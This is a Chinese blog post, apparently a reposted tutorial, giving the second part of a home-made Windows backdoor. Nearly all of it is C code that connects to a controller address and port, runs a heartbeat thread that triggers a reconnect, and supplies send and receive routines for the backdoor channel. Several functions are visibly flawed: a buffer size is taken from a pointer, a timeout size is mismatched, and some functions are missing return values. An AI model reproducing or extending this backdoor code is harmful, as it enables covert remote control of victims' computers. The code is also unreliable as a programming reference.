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个人的后门程序开发（第二部分）：网络连接处理

  1 #include <winsock2.h>
  2 #include "windows.h"
  3 #pragma comment(lib, "ws2_32.lib")
  4 
  5 #define THE_PORT 6666
  6 #define THE_IP_ADDRESS "127.0.0.1"
  7 #define XIN_TIAO_PORT 6667
  8 
  9 extern HANDLE ReStartHandle;
 10 BOOL XIN_TIAO = 1;
 11 
 12 //心跳检测函数
 13 DWORD WINAPI XiaoTiaoFunc(LPVOID lpParam)
 14 {    
 15     int status = 0;
 16     WSADATA wsaData;
 17     SOCKET MyConnectSocket = 0;
 18     sockaddr_in SocketAddr = { 0 };
 19     DWORD OutTemp = 0;
 20     char nNetTimeout = 5;
 21     char RecvTemp[3] = "";
 22     WSAStartup(MAKEWORD(2, 2), &wsaData);
 23     MyConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 24     SocketAddr.sin_family = AF_INET;
 25     SocketAddr.sin_addr.s_addr = inet_addr(THE_IP_ADDRESS);
 26     SocketAddr.sin_port = htons(XIN_TIAO_PORT);
 27     if (connect(MyConnectSocket,
 28         (SOCKADDR *)&SocketAddr,
 29         sizeof(SocketAddr)) == SOCKET_ERROR)
 30     {
 31         WSACleanup();
 32         return FALSE;
 33     }
 34 
 35     setsockopt(MyConnectSocket,
 36         SOL_SOCKET,
 37         SO_RCVTIMEO,
 38         (char *)&nNetTimeout,
 39         sizeof(int));
 40     for ( ; ; )
 41     {
 42         Sleep(10000);
 43         send(MyConnectSocket,
 44             "Hi",
 45             sizeof("Hi"),
 46             0);
 47         status=recv(MyConnectSocket,
 48             RecvTemp,
 49             3,
 50             0);
 51         if (!status)
 52         {
 53             break;
 54         }
 55         
 56     }
 57     closesocket(MyConnectSocket);
 58     SetEvent(ReStartHandle);
 59     ExitThread(0);
 60 }
 61 
 62 
 63 
 64 
 65 BOOL CreateConnect(SOCKET *MySocketAddress)
 66 {    
 67     WSADATA wsaData;
 68     SOCKET MyConnectSocket = 0;
 69     sockaddr_in SocketAddr = { 0 };
 70     DWORD OutTemp = 0;
 71     WSAStartup(MAKEWORD(2, 2), &wsaData);
 72     MyConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 73     SocketAddr.sin_family= AF_INET;
 74     SocketAddr.sin_addr.s_addr = inet_addr(THE_IP_ADDRESS);
 75     SocketAddr.sin_port = htons(THE_PORT);
 76     if (connect(MyConnectSocket,
 77         (SOCKADDR *)&SocketAddr,
 78         sizeof(SocketAddr)) == SOCKET_ERROR)
 79     {
 80         WSACleanup();
 81         return FALSE;
 82     }
 83     //启动一个心跳检测线程
 84     if (CreateThread(
 85         NULL,
 86         0,
 87         XiaoTiaoFunc,
 88         NULL,
 89         0,
 90         &OutTemp) == false)
 91     {
 92         return FALSE;
 93     }
 94     *MySocketAddress = MyConnectSocket;
 95 
 96 }
 97 
 98 BOOL RecvData(SOCKET MySocket,PVOID IN_BUFFER,BOOL YesOrNo)
 99 {
100     char nNetTimeout = 5;
101     //是否阻塞
102     if (YesOrNo)
103     {
104         setsockopt(MySocket,
105         SOL_SOCKET, 
106         SO_RCVTIMEO, 
107         (char *)&nNetTimeout, 
108         sizeof(int));
109     }
110     
111     if (!recv(MySocket,
112         (char *)IN_BUFFER,
113         sizeof(IN_BUFFER),
114         0))
115     {
116         return FALSE;
117     }
118     if (*((DWORD *)IN_BUFFER)==0)
119     {
120         return FALSE;
121     }
122     return TRUE;
123 }
124 
125 BOOL SendData(SOCKET MySocket, PVOID OUT_BUFFER,DWORD Size)
126 {
127     int Status = 0;
128     Status = send(MySocket,
129         (char *)OUT_BUFFER,
130         Size,
131         0);
132     if (!Status)
133     {
134         return FALSE;
135     }
136 }
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原文地址：https://www.cnblogs.com/Ox9A82/p/5252570.html